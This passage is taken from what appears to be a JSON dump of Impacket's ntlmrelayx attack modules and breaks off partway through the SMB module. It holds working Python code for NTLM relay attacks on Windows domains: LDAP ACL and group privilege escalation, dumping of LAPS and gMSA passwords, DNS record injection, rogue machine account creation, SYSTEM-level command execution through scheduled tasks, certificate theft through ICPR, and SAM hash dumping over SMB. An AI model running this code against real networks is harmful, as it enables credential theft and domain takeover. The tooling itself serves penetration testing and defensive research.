'CN=Dns-Node,%s' % self.client.server.info.other['schemaNamingContext'][0],\n            'dNSTombstoned': False,\n            'name': ns_record_name,\n            'nTSecurityDescriptor': ACL_ALLOW_EVERYONE_EVERYTHING,\n        }\n\n        LOG.info('Adding `NS` record `%s` pointing to `%s` at `%s`' % (ns_record_name, ns_record_value, ns_record_dn))\n        if not self.client.add(ns_record_dn, ['top', 'dnsNode'], ns_record_data):\n            LOG.error('Failed to add `NS` record `wpad`: %s' % str(self.client.result))\n            return\n\n        LOG.info('Added `NS` record `%s`. DON\\'T FORGET TO CLEANUP (set `dNSTombstoned` to `TRUE`, set `dnsRecord` to a NULL byte)' % ns_record_name)\n\n\n    def run(self):\n        #self.client.search('dc=vulnerable,dc=contoso,dc=com', '(objectclass=person)')\n        #print self.client.entries\n        global dumpedDomain\n        global dumpedAdcs\n        # Set up a default config\n        domainDumpConfig = ldapdomaindump.domainDumpConfig()\n\n        # Change the output directory to configured rootdir\n        domainDumpConfig.basepath = self.config.lootdir\n\n        # Create new dumper object\n        domainDumper = ldapdomaindump.domainDumper(self.client.server, self.client, domainDumpConfig)\n\n        if self.config.interactive:\n            if self.tcp_shell is not None:\n                LOG.info('Started interactive Ldap shell via TCP on 127.0.0.1:%d as %s/%s' % (self.tcp_shell.port, self.domain, self.username))\n                # Start listening and launch interactive shell.\n                self.tcp_shell.listen()\n                ldap_shell = LdapShell(self.tcp_shell, domainDumper, self.client)\n                ldap_shell.cmdloop()\n                return\n\n        # If specified validate the user's privileges. This might take a while on large domains but will\n        # identify the proper containers for escalating via the different techniques.\n        if self.config.validateprivs:\n            LOG.info('Enumerating relayed user\\'s privileges. This may take a while on large domains')\n            userSid, privs = self.validatePrivileges(self.username, domainDumper)\n            if privs['create']:\n                LOG.info('User privileges found: Create user')\n            if privs['escalateViaGroup']:\n                name = privs['escalateGroup'].split(',')[0][3:]\n                LOG.info('User privileges found: Adding user to a privileged group (%s)' % name)\n            if privs['aclEscalate']:\n                LOG.info('User privileges found: Modifying domain ACL')\n\n        # If validation of privileges is not desired, we assumed that the user has permissions to escalate\n        # an existing user via ACL attacks.\n        else:\n            LOG.info('Assuming relayed user has privileges to escalate a user via ACL attack')\n            privs = dict()\n            privs['create'] = False\n            privs['aclEscalate'] = True\n            privs['escalateViaGroup'] = False\n\n        # We prefer ACL escalation since it is more quiet\n        if self.config.aclattack and privs['aclEscalate']:\n            LOG.debug('Performing ACL attack')\n            if self.config.escalateuser:\n                # We can escalate an existing user\n                result = self.getUserInfo(domainDumper, self.config.escalateuser)\n                # Unless that account does not exist of course\n                if not result:\n                    LOG.error('Unable to escalate without a valid user.')\n                else:\n                    userDn, userSid = result\n                    # Perform the ACL attack\n                    self.aclAttack(userDn, domainDumper)\n            elif privs['create']:\n                # Create a nice shiny new user for the escalation\n                userDn = self.addUser(privs['createIn'], domainDumper)\n                if not userDn:\n                    LOG.error('Unable to escalate without a valid user.')\n                # Perform the ACL attack\n                else:\n                    self.aclAttack(userDn, domainDumper)\n            else:\n                LOG.error('Cannot perform ACL escalation because we do not have create user '\\\n                    'privileges. Specify a user to assign privileges to with --escalate-user')\n\n        # If we can't ACL escalate, try adding us to a privileged group\n        if self.config.addda and privs['escalateViaGroup']:\n            LOG.debug('Performing Group attack')\n            if self.config.escalateuser:\n                # We can escalate an existing user\n                result = self.getUserInfo(domainDumper, self.config.escalateuser)\n                # Unless that account does not exist of course\n                if not result:\n                    LOG.error('Unable to escalate without a valid user.')\n                # Perform the Group attack\n                else:\n                    userDn, userSid = result\n                    self.addUserToGroup(userDn, domainDumper, privs['escalateGroup'])\n\n            elif privs['create']:\n                # Create a nice shiny new user for the escalation\n                userDn = self.addUser(privs['createIn'], domainDumper)\n                if not userDn:\n                    LOG.error('Unable to escalate without a valid user, aborting.')\n                # Perform the Group attack\n                else:\n                    self.addUserToGroup(userDn, domainDumper, privs['escalateGroup'])\n\n            else:\n                LOG.error('Cannot perform ACL escalation because we do not have create user '\\\n                          'privileges. Specify a user to assign privileges to with --escalate-user')\n\n        # Dump LAPS Passwords\n        if self.config.dumplaps:\n            LOG.info(\"Attempting to dump LAPS passwords\")\n\n            success = self.client.search(domainDumper.root, '(&(objectCategory=computer))', search_scope=ldap3.SUBTREE, attributes=['DistinguishedName','ms-MCS-AdmPwd'])\n\n            if success:\n\n                fd = None\n                filename = \"laps-dump-\" + self.username + \"-\" + str(random.randint(0, 99999))\n                count = 0\n\n                for entry in self.client.response:\n                    try:\n                        dn = \"DN:\" + entry['attributes']['distinguishedname']\n                        passwd = \"Password:\" + entry['attributes']['ms-MCS-AdmPwd']\n\n                        if fd is None:\n                            fd = open(filename, \"a+\")\n\n                        count += 1\n\n                        LOG.debug(dn)\n                        LOG.debug(passwd)\n\n                        fd.write(dn)\n                        fd.write(\"\\n\")\n                        fd.write(passwd)\n                        fd.write(\"\\n\")\n\n                    except:\n                        continue\n\n                if fd is None:\n                    LOG.info(\"The relayed user %s does not have permissions to read any LAPS passwords\" % self.username)\n                else:\n                    LOG.info(\"Successfully dumped %d LAPS passwords through relayed account %s\" % (count, self.username))\n                    fd.close()\n\n        #Dump gMSA Passwords\n        if self.config.dumpgmsa:\n            LOG.info(\"Attempting to dump gMSA passwords\")\n\n            if not self.client.tls_started and not self.client.server.ssl:\n                LOG.info('Dumping gMSA password requires TLS but ldap:// scheme provided. Switching target to LDAPS via StartTLS')\n                if not self.client.start_tls():\n                    LOG.error('StartTLS failed')\n                    return False\n\n            success = self.client.search(domainDumper.root, '(&(ObjectClass=msDS-GroupManagedServiceAccount))', search_scope=ldap3.SUBTREE, attributes=['sAMAccountName','msDS-ManagedPassword'])\n            if success:\n                fd = None\n                filename = \"gmsa-dump-\" + self.username + \"-\" + str(random.randint(0, 99999))\n                count = 0\n                for entry in self.client.response:\n                    try:\n                        sam = entry['attributes']['sAMAccountName']\n                        data = entry['attributes']['msDS-ManagedPassword']\n                        blob = MSDS_MANAGEDPASSWORD_BLOB()\n                        blob.fromString(data)\n                        hash = MD4.new ()\n                        hash.update (blob['CurrentPassword'][:-2])\n                        passwd = binascii.hexlify(hash.digest()).decode(\"utf-8\")\n                        userpass = sam + ':::' + passwd\n                        LOG.info(userpass)\n                        count += 1\n                        if fd is None:\n                            fd = open(filename, \"a+\")\n                        fd.write(userpass)\n                        fd.write(\"\\n\")\n                    except:\n                        continue\n                if fd is None:\n                    LOG.info(\"The relayed user %s does not have permissions to read any gMSA passwords\" % self.username)\n                else:\n                    LOG.info(\"Successfully dumped %d gMSA passwords through relayed account %s\" % (count, self.username))\n                    fd.close()\n\n        if not dumpedAdcs and self.config.dumpadcs:\n            dumpedAdcs = True\n            self.dumpADCS()\n            LOG.info(\"Done dumping ADCS info\")\n\n        if self.config.adddnsrecord:\n            name = self.config.adddnsrecord[0]\n            ipaddr = self.config.adddnsrecord[1]\n\n            dns_name_ok = True\n            dns_ipaddr_ok = True\n\n            # DNS name can either be a wildcard or just contain alphanum and hyphen\n            if (name != '*') and (re.search(r'[^0-9a-z-]', name, re.I)):\n                LOG.error(\"Invalid name for DNS record\")\n                dns_name_ok = False\n\n            try:\n                IPv4Address(ipaddr)\n            except AddressValueError:\n                LOG.error(\"Invalid IPv4 for DNS record\")\n                dns_ipaddr_ok = False\n\n            if dns_name_ok and dns_ipaddr_ok:\n                self.addDnsRecord(name, ipaddr)\n\n        # Add a new computer if that is requested\n        # privileges required are not yet enumerated, neither is ms-ds-MachineAccountQuota\n        if self.config.addcomputer is not None:\n            self.client.search(domainDumper.root, \"(ObjectClass=domain)\", attributes=['wellKnownObjects'])\n            # Computer well-known GUID\n            # https://social.technet.microsoft.com/Forums/windowsserver/en-US/d028952f-a25a-42e6-99c5-28beae2d3ac3/how-can-i-know-the-default-computer-container?forum=winservergen\n            computerscontainer = [\n                entry.decode('utf-8').split(\":\")[-1] for entry in self.client.entries[0][\"wellKnownObjects\"]\n                if b\"AA312825768811D1ADED00C04FD8D5CD\" in entry\n            ][0]\n            LOG.debug(\"Computer container is {}\".format(computerscontainer))\n            self.addComputer(computerscontainer, domainDumper)\n\n        # Perform the Delegate attack if it is enabled and we relayed a computer account\n        if self.config.delegateaccess and self.username[-1] == '$':\n            self.delegateAttack(self.config.escalateuser, self.username, domainDumper, self.config.sid)\n            return\n        \n        # Perform the Shadow Credentials attack if it is enabled\n        if self.config.IsShadowCredentialsAttack:\n            self.shadowCredentialsAttack(domainDumper)\n            return\n\n        # Last attack, dump the domain if no special privileges are present\n        if not dumpedDomain and self.config.dumpdomain:\n            # Do this before the dump is complete because of the time this can take\n            dumpedDomain = True\n            LOG.info('Dumping domain info for first time')\n            domainDumper.domainDump()\n            LOG.info('Domain info dumped into lootdir!')\n\n# Create an object ACE with the specified privguid and our sid\ndef create_object_ace(privguid, sid):\n    nace = ldaptypes.ACE()\n    nace['AceType'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE\n    nace['AceFlags'] = 0x00\n    acedata = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE()\n    acedata['Mask'] = ldaptypes.ACCESS_MASK()\n    acedata['Mask']['Mask'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS\n    acedata['ObjectType'] = string_to_bin(privguid)\n    acedata['InheritedObjectType'] = b''\n    acedata['Sid'] = ldaptypes.LDAP_SID()\n    acedata['Sid'].fromCanonical(sid)\n    assert sid == acedata['Sid'].formatCanonical()\n    acedata['Flags'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT\n    nace['Ace'] = acedata\n    return nace\n\n# Create an ALLOW ACE with the specified sid\ndef create_allow_ace(sid):\n    nace = ldaptypes.ACE()\n    nace['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE\n    nace['AceFlags'] = 0x00\n    acedata = ldaptypes.ACCESS_ALLOWED_ACE()\n    acedata['Mask'] = ldaptypes.ACCESS_MASK()\n    acedata['Mask']['Mask'] = 983551 # Full control\n    acedata['Sid'] = ldaptypes.LDAP_SID()\n    acedata['Sid'].fromCanonical(sid)\n    nace['Ace'] = acedata\n    return nace\n\ndef create_empty_sd():\n    sd = ldaptypes.SR_SECURITY_DESCRIPTOR()\n    sd['Revision'] = b'\\x01'\n    sd['Sbz1'] = b'\\x00'\n    sd['Control'] = 32772\n    sd['OwnerSid'] = ldaptypes.LDAP_SID()\n    # BUILTIN\\Administrators\n    sd['OwnerSid'].fromCanonical('S-1-5-32-544')\n    sd['GroupSid'] = b''\n    sd['Sacl'] = b''\n    acl = ldaptypes.ACL()\n    acl['AclRevision'] = 4\n    acl['Sbz1'] = 0\n    acl['Sbz2'] = 0\n    acl.aces = []\n    sd['Dacl'] = acl\n    return sd\n\n# Check if an ACE allows for creation of users\ndef can_create_users(ace):\n    createprivs = ace['Ace']['Mask'].hasPriv(ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CREATE_CHILD)\n    if ace['AceType'] != ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE or ace['Ace']['ObjectType'] == b'':\n        return False\n    userprivs = bin_to_string(ace['Ace']['ObjectType']).lower() == 'bf967aba-0de6-11d0-a285-00aa003049e2'\n    return createprivs and userprivs\n\n# Check if an ACE allows for adding members\ndef can_add_member(ace):\n    writeprivs = ace['Ace']['Mask'].hasPriv(ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_WRITE_PROP)\n    if ace['AceType'] != ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE or ace['Ace']['ObjectType'] == b'':\n        return writeprivs\n    userprivs = bin_to_string(ace['Ace']['ObjectType']).lower() == 'bf9679c0-0de6-11d0-a285-00aa003049e2'\n    return writeprivs and userprivs\n"
  },
  {
    "path": "impacket/examples/ntlmrelayx/attacks/mssqlattack.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   MSSQL Attack Class\n#   MSSQL protocol relay attack\n#\n# Authors:\n#   Alberto Solino (@agsolino)\n#   Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)\n#   Sylvain Heiniger (@sploutchy) / Compass Security (https://www.compass-security.com)\n#\nfrom impacket import LOG\nfrom impacket.examples.mssqlshell import SQLSHELL\nfrom impacket.examples.ntlmrelayx.attacks import ProtocolAttack\nfrom impacket.examples.ntlmrelayx.utils.tcpshell import TcpShell\n\nPROTOCOL_ATTACK_CLASS = \"MSSQLAttack\"\n\nclass MSSQLAttack(ProtocolAttack):\n    PLUGIN_NAMES = [\"MSSQL\"]\n    def __init__(self, config, MSSQLclient, username, target=None, relay_client=None):\n        ProtocolAttack.__init__(self, config, MSSQLclient, username, target, relay_client)\n        if self.config.interactive:\n            # Launch locally listening interactive shell.\n            self.tcp_shell = TcpShell()\n\n    def run(self):\n        if self.config.interactive:\n            if self.tcp_shell is not None:\n                LOG.info('Started interactive MSSQL shell via TCP on 127.0.0.1:%d' % self.tcp_shell.port)\n                # Start listening and launch interactive shell.\n                self.tcp_shell.listen()\n                mssql_shell = SQLSHELL(self.client, tcpShell=self.tcp_shell)\n                mssql_shell.cmdloop()\n                return\n\n        if self.config.queries is not None:\n            for query in self.config.queries:\n                LOG.info('Executing SQL: %s' % query)\n                self.client.sql_query(query)\n                self.client.printReplies()\n                self.client.printRows()\n        else:\n            LOG.error('No SQL queries specified for MSSQL relay!')\n\n"
  },
  {
    "path": "impacket/examples/ntlmrelayx/attacks/rpcattack.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Authors:\n#   Arseniy Sharoglazov <mohemiv@gmail.com> / Positive Technologies (https://www.ptsecurity.com/)\n#   Sylvain Heiniger @(sploutchy) / Compass Security (https://www.compass-security.com)\n#   Based on @agsolino and @_dirkjan code\n#\nimport base64\nimport os\nimport time\nimport string\nimport random\n\nfrom OpenSSL import crypto\nfrom cryptography.x509 import load_der_x509_certificate\nfrom cryptography.hazmat.backends import default_backend\n\nfrom impacket import LOG\nfrom impacket.dcerpc.v5 import tsch, icpr\nfrom impacket.dcerpc.v5.dtypes import NULL\nfrom impacket.dcerpc.v5.icpr import DCERPCSessionError\nfrom impacket.examples.ntlmrelayx.attacks import ProtocolAttack\nfrom impacket.examples.ntlmrelayx.attacks.httpattacks.adcsattack import ADCSAttack\n\nPROTOCOL_ATTACK_CLASS = \"RPCAttack\"\n\n# cache already attacked clients\nELEVATED = []\n\n\nclass TSCHRPCAttack:\n    def _xml_escape(self, data):\n        replace_table = {\n             \"&\": \"&amp;\",\n             '\"': \"&quot;\",\n             \"'\": \"&apos;\",\n             \">\": \"&gt;\",\n             \"<\": \"&lt;\",\n             }\n        return ''.join(replace_table.get(c, c) for c in data)\n\n    def _run(self):\n        # Here PUT YOUR CODE!\n        tmpName = ''.join([random.choice(string.ascii_letters) for _ in range(8)])\n\n        cmd = \"cmd.exe\"\n        args = \"/C %s\" % self.config.command\n\n        LOG.info('Executing command %s in no output mode via %s' % (self.config.command, self.stringbinding))\n\n        xml = \"\"\"<?xml version=\"1.0\" encoding=\"UTF-16\"?>\n<Task version=\"1.2\" xmlns=\"http://schemas.microsoft.com/windows/2004/02/mit/task\">\n  <Triggers>\n    <CalendarTrigger>\n      <StartBoundary>2015-07-15T20:35:13.2757294</StartBoundary>\n      <Enabled>true</Enabled>\n      <ScheduleByDay>\n        <DaysInterval>1</DaysInterval>\n      </ScheduleByDay>\n    </CalendarTrigger>\n  </Triggers>\n  <Principals>\n    <Principal id=\"LocalSystem\">\n      <UserId>S-1-5-18</UserId>\n      <RunLevel>HighestAvailable</RunLevel>\n    </Principal>\n  </Principals>\n  <Settings>\n    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>\n    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>\n    <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>\n    <AllowHardTerminate>true</AllowHardTerminate>\n    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>\n    <IdleSettings>\n      <StopOnIdleEnd>true</StopOnIdleEnd>\n      <RestartOnIdle>false</RestartOnIdle>\n    </IdleSettings>\n    <AllowStartOnDemand>true</AllowStartOnDemand>\n    <Enabled>true</Enabled>\n    <Hidden>true</Hidden>\n    <RunOnlyIfIdle>false</RunOnlyIfIdle>\n    <WakeToRun>false</WakeToRun>\n    <ExecutionTimeLimit>P3D</ExecutionTimeLimit>\n    <Priority>7</Priority>\n  </Settings>\n  <Actions Context=\"LocalSystem\">\n    <Exec>\n      <Command>%s</Command>\n      <Arguments>%s</Arguments>\n    </Exec>\n  </Actions>\n</Task>\n        \"\"\" % (self._xml_escape(cmd), self._xml_escape(args))\n\n        LOG.info('Creating task \\\\%s' % tmpName)\n        tsch.hSchRpcRegisterTask(self.dce, '\\\\%s' % tmpName, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)\n\n        LOG.info('Running task \\\\%s' % tmpName)\n        done = False\n\n        tsch.hSchRpcRun(self.dce, '\\\\%s' % tmpName)\n\n        while not done:\n            LOG.debug('Calling SchRpcGetLastRunInfo for \\\\%s' % tmpName)\n            resp = tsch.hSchRpcGetLastRunInfo(self.dce, '\\\\%s' % tmpName)\n            if resp['pLastRuntime']['wYear'] != 0:\n                done = True\n            else:\n                time.sleep(2)\n\n        LOG.info('Deleting task \\\\%s' % tmpName)\n        tsch.hSchRpcDelete(self.dce, '\\\\%s' % tmpName)\n        LOG.info('Completed!')\n\n\nclass ICPRRPCAttack:\n    def _run(self):\n        key = crypto.PKey()\n        key.generate_key(crypto.TYPE_RSA, 4096)\n\n        if self.username in ELEVATED:\n            LOG.info('Skipping user %s since attack was already performed' % self.username)\n            return\n\n        current_template = self.config.template\n        if current_template is None:\n            current_template = \"Machine\" if self.username.endswith(\"$\") else \"User\"\n\n        LOG.debug(\"Generating a CSR for user %s and template %s\" % (self.username, current_template))\n\n        csr = ADCSAttack.generate_csr(key, self.username, self.config.altName, crypto.FILETYPE_ASN1)\n        LOG.info(\"CSR generated!\")\n\n        attributes = [\"CertificateTemplate:%s\" % current_template]\n\n        if self.config.altName is not None:\n            attributes.append(\"SAN:upn=%s\" % self.config.altName)\n\n        LOG.info(\"Getting certificate...\")\n        try:\n            certificate = icpr.hCertServerRequest(self.dce, csr, attributes, ca=self.config.icpr_ca_name)\n        except DCERPCSessionError as e:\n            if e.error_code == 0x80070057:\n                LOG.error(\"Error occured while getting certificate: %s Check your CA name?\" % e)\n            elif e.error_code == 0x80070005:\n                LOG.error(\"Error occured while getting certificate: %s Maybe encryption is enforced?\" % e)\n            else:\n                LOG.error(\"Unknown error occured while getting certificate: %s\" % e)\n            return\n\n        ELEVATED.append(self.username)\n\n        cert_obj = load_der_x509_certificate(certificate, backend=default_backend())\n        pfx_filename = ADCSAttack._sanitize_filename(self.username or ADCSAttack._extract_certificate_identity(cert_obj) or \"certificate\")\n        certificate_store = ADCSAttack.generate_pfx(key.to_cryptography_key(), cert_obj)\n        output_path = os.path.join(self.config.lootdir, \"{}.pfx\".format(pfx_filename))\n        LOG.info(\"Writing PKCS#12 certificate to %s\" % output_path)\n        try:\n            if not os.path.isdir(self.config.lootdir):\n                os.mkdir(self.config.lootdir)\n            with open(output_path, 'wb') as f:\n                f.write(certificate_store)\n            LOG.info(\"Certificate successfully written to file\")\n        except Exception as e:\n            LOG.info(\"Unable to write certificate to file, printing B64 of certificate to console instead\")\n            LOG.info(\"Base64-encoded PKCS#12 certificate (%s): \\n%s\" % (pfx_filename, base64.b64encode(certificate_store).decode()))\n            pass\n\n        if self.config.altName:\n            LOG.info(\"This certificate can also be used for user : {}\".format(self.config.altName))\n\nclass RPCAttack(ProtocolAttack, TSCHRPCAttack):\n    PLUGIN_NAMES = [\"RPC\"]\n\n    def __init__(self, config, dce, username, target=None, relay_client=None):\n        ProtocolAttack.__init__(self, config, dce, username, target, relay_client)\n        self.dce = dce\n        self.rpctransport = dce.get_rpc_transport()\n        self.stringbinding = self.rpctransport.get_stringbinding()\n        self.endpoint = config.rpc_mode\n\n    def run(self):\n        if self.endpoint == \"TSCH\":\n            # TODO: support for providing a shell\n            # TODO: support for getting an output\n            if self.config.command is not None:\n                TSCHRPCAttack._run(self)\n            else:\n                LOG.error(\"No command provided to attack\")\n        elif self.endpoint == \"ICPR\":\n            ICPRRPCAttack._run(self)\n        else:\n            raise NotImplementedError(\"Not implemented!\")\n"
  },
  {
    "path": "impacket/examples/ntlmrelayx/attacks/smbattack.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   SMB Attack Class\n#   Defines a base class for all attacks + loads all available modules\n#\n# Authors:\n#   Alberto Solino (@agsolino)\n#   Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)\n#\nfrom impacket import LOG\nfrom impacket.dcerpc.v5 import tsch, icpr\nfrom impacket.dcerpc.v5.transport import SMBTransport, DCERPCTransport\nfrom impacket.examples.ntlmrelayx.attacks import ProtocolAttack\nfrom impacket.examples.ntlmrelayx.attacks.rpcattack import ICPRRPCAttack, RPCAttack\nfrom impacket.examples.ntlmrelayx.utils.tcpshell import TcpShell\nfrom impacket import smb3, smb\nfrom impacket.examples import serviceinstall\nfrom impacket.smbconnection import SMBConnection\nfrom impacket.examples.smbclient import MiniImpacketShell\nfrom impacket.dcerpc.v5.rpcrt import DCERPCException\nfrom impacket.dcerpc.v5 import samr\nimport random\nimport string\n\nPROTOCOL_ATTACK_CLASS = \"SMBAttack\"\n\nclass SMBAttack(ProtocolAttack):\n    \"\"\"\n    This is the SMB default attack class.\n    It will either dump the hashes from the remote target, or open an interactive\n    shell if the -i option is specified.\n    \"\"\"\n    PLUGIN_NAMES = [\"SMB\"]\n    def __init__(self, config, SMBClient, username, target=None, relay_client=None):\n        ProtocolAttack.__init__(self, config, SMBClient, username, target, relay_client)\n        if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3):\n            self.__SMBConnection = SMBConnection(existingConnection=SMBClient)\n        else:\n            self.__SMBConnection = SMBClient\n        self.__answerTMP = bytearray()\n\n        self.rpc_attack_mode = self.config.rpc_attack\n        if self.rpc_attack_mode is not None:\n            if self.rpc_attack_mode == \"TSCH\":\n                self.pipename = r\"\\atsvc\"\n                self.uuid = tsch.MSRPC_UUID_TSCHS\n            elif self.rpc_attack_mode == \"ICPR\":\n                self.pipename = r\"\\cert\"\n                self.uuid = icpr.MSRPC_UUID_ICPR\n            else:\n                raise(NotImplementedError())\n            LOG.info(\"Creating Transport\")\n            rpctransport = SMBTransport(self.__SMBConnection.getRemoteHost(), 445, filename=self.pipename, smb_connection=self.__SMBConnection)\n            dce = rpctransport.get_dce_rpc()\n            LOG.info(\"Connecting to RPC named pipe %s\" % self.pipename)\n            dce.connect()\n            dce.bind(self.uuid)\n            self.rpc_attack = RPCAttack(config, dce, username)\n            self.rpc_attack.endpoint = self.rpc_attack_mode\n            return\n        \n        if self.config.interactive:\n            #Launch locally listening interactive shell\n            self.tcpshell = TcpShell()\n        else:\n            self.tcpshell = None\n            if self.config.exeFile is not None:\n                self.installService = serviceinstall.ServiceInstall(SMBClient, self.config.exeFile)\n\n    def __answer(self, data):\n        self.__answerTMP += data\n\n    def run(self):\n        # Here PUT YOUR CODE!\n        if self.rpc_attack_mode is not None:\n            LOG.info(\"Running RPC attack %s\" % self.rpc_attack_mode)\n            self.rpc_attack.run()\n            return\n\n        if self.tcpshell is not None:\n            LOG.info('Started interactive SMB client shell via TCP on 127.0.0.1:%d' % self.tcpshell.port)\n            #Start listening and launch interactive shell\n            self.tcpshell.listen()\n            self.shell = MiniImpacketShell(self.__SMBConnection, self.tcpshell)\n            self.shell.cmdloop()\n            return\n        if self.config.exeFile is not None:\n            result = self.installService.install()\n            if result is True:\n                LOG.info(\"Service Installed.. CONNECT!\")\n                self.installService.uninstall()\n        else:\n\n            if (self.config.addComputerSMB is not None):\n                from impacket.examples.secretsdump import RemoteOperations\n                try:\n                    # We have to add some flags just in case the original client did not\n                    # Why? needed for avoiding INVALID_PARAMETER\n                    if  self.__SMBConnection.getDialect() == smb.SMB_DIALECT:\n                        flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags()\n                        flags2 |= smb.SMB.FLAGS2_LONG_NAMES\n                        self.__SMBConnection.getSMBServer().set_flags(flags2=flags2)\n\n                    remoteOps  = RemoteOperations(self.__SMBConnection, False)\n                    remoteOps.connectSamr(remoteOps.getMachineNameAndDomain()[1])\n                except Exception as e:\n                    if \"rpc_s_access_denied\" in str(e): # user doesn't have correct privileges\n                        LOG.info(\"SAMR access denied\")\n                    LOG.error(str(e))\n                    return\n\n                LOG.info(\"Machine account addition via SMB\")\n                try:\n                    LOG.info(\"Target domain SID: \" + remoteOps.getDomainSid())\n\n                    if not self.config.addComputerSMB:\n                        computerName = (''.join(random.choice(string.ascii_letters) for _ in range(8)) + '$').upper()\n                    else:\n                        computerName = self.config.addComputerSMB[0]\n\n                    createUser = samr.hSamrCreateUser2InDomain(remoteOps.getSamr(), remoteOps.getDomainHandle(), computerName, samr.USER_WORKSTATION_TRUST_ACCOUNT, samr.USER_FORCE_PASSWORD_CHANGE)\n\n                    # Account password setup. In the NTLM relay situation it is not possible to use 'hSamrSetPasswordInternal4New()' because an error for \"STATUS_WRONG_PASSWORD\" is raised\n                    # For the moment, I'm not sure why this error is raised even with the \"USER_FORCE_PASSWORD_CHANGE\" access mask during a relay. Probably an encryption issue\n                    # However, with 'hSamrChangePasswordUser()' it seems to work by specifying the \"old HashNT\" which is the default \"blank\" password hash\n                    if (not self.config.addComputerSMB or len(self.config.addComputerSMB) < 2):\n                        newPassword = ''.join(random.choice(string.ascii_letters + string.digits + '.,;:!$-_+/*(){}#@<>^') for _ in range(15))\n                    else:\n                        newPassword = self.config.addComputerSMB[1]\n                    try:\n                        userHandle = createUser['UserHandle']\n                        samr.hSamrChangePasswordUser(remoteOps.getSamr(), userHandle, oldPassword='', newPassword=newPassword, oldPwdHashNT=\"31d6cfe0d16ae931b73c59d7e0c089c0\",\n                                                    newPwdHashLM='', newPwdHashNT='')\n                    except Exception as e:\n                        LOG.error(\"Error with password setup:\\n\" + str(e))\n\n                    # Still from addComputer.py\n                    checkForUser = samr.hSamrLookupNamesInDomain(remoteOps.getSamr(), remoteOps.getDomainHandle(), [computerName])\n                    userRID = checkForUser['RelativeIds']['Element'][0]\n                    openUser = samr.hSamrOpenUser(remoteOps.getSamr(), remoteOps.getDomainHandle(), samr.MAXIMUM_ALLOWED, userRID)\n                    userHandle = openUser['UserHandle']\n                    req = samr.SAMPR_USER_INFO_BUFFER()\n                    req['tag'] = samr.USER_INFORMATION_CLASS.UserControlInformation\n                    req['Control']['UserAccountControl'] = samr.USER_WORKSTATION_TRUST_ACCOUNT\n                    samr.hSamrSetInformationUser2(remoteOps.getSamr(), userHandle, req)\n                    LOG.info(\"Successfully added machine account %s with password %s\" % (computerName, newPassword))\n                except Exception as e:\n                    LOG.error(str(e))\n\n            else:\n                from impacket.examples.secretsdump import RemoteOperations, SAMHashes\n                from impacket.examples.ntlmrelayx.utils.enum import EnumLocalAdmins\n                samHashes = None\n                try:\n                    # We have to add some flags just in case the original client did not\n                    # Why? needed for avoiding INVALID_PARAMETER\n                    if  self.__SMBConnection.getDialect() == smb.SMB_DIALECT:\n                        flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags()\n                        flags2 |= smb.SMB.FLAGS2_LONG_NAMES\n                        self.__SMBConnection.getSMBServer().set_flags(flags2=flags2)\n\n                    remoteOps  = RemoteOperations(self.__SMBConnection, False)\n                    remoteOps.enableRegistry()\n                except Exception as e:\n                    if \"rpc_s_access_denied\" in str(e): # user doesn't have correct privileges\n                        if self.config.enumLocalAdmins:\n                            LOG.info(\"Relayed user doesn't have admin on {}. Attempting to enumerate users who do...\".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding)))\n                            enumLocalAdmins = EnumLocalAdmins(self.__SMBConnection)\n                            try:\n                                localAdminSids, localAdminNames = enumLocalAdmins.getLocalAdmins()\n                                LOG.info(\"Host {} has the following local admins (hint: try relaying one of them here...)\".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding)))\n                                for name in localAdminNames:\n                                    LOG.info(\"Host {} local admin member: {} \".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding), name))\n                            except DCERPCException:\n                                LOG.info(\"SAMR access denied\")\n                            return\n                    # Something else went wrong. aborting\n                    LOG.error(str(e))\n                    return\n\n                try:\n                    if self.config.command is not None:\n                        remoteOps._RemoteOperations__executeRemote(self.config.command)\n                        LOG.info(\"Executed specified command on host: %s\", self.__SMBConnection.getRemoteHost())\n                        self.__SMBConnection.getFile('ADMIN$', 'Temp\\\\__output', self.__answer)\n                        self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\\\__output')\n                        print(self.__answerTMP.decode(self.config.encoding, 'replace'))\n                    else:\n                        bootKey = remoteOps.getBootKey()\n                        remoteOps._RemoteOperations__serviceDeleted = True\n                        samFileName = remoteOps.saveSAM()\n                        samHashes = SAMHashes(samFileName, bootKey, isRemote = True)\n                        samHashes.dump()\n                        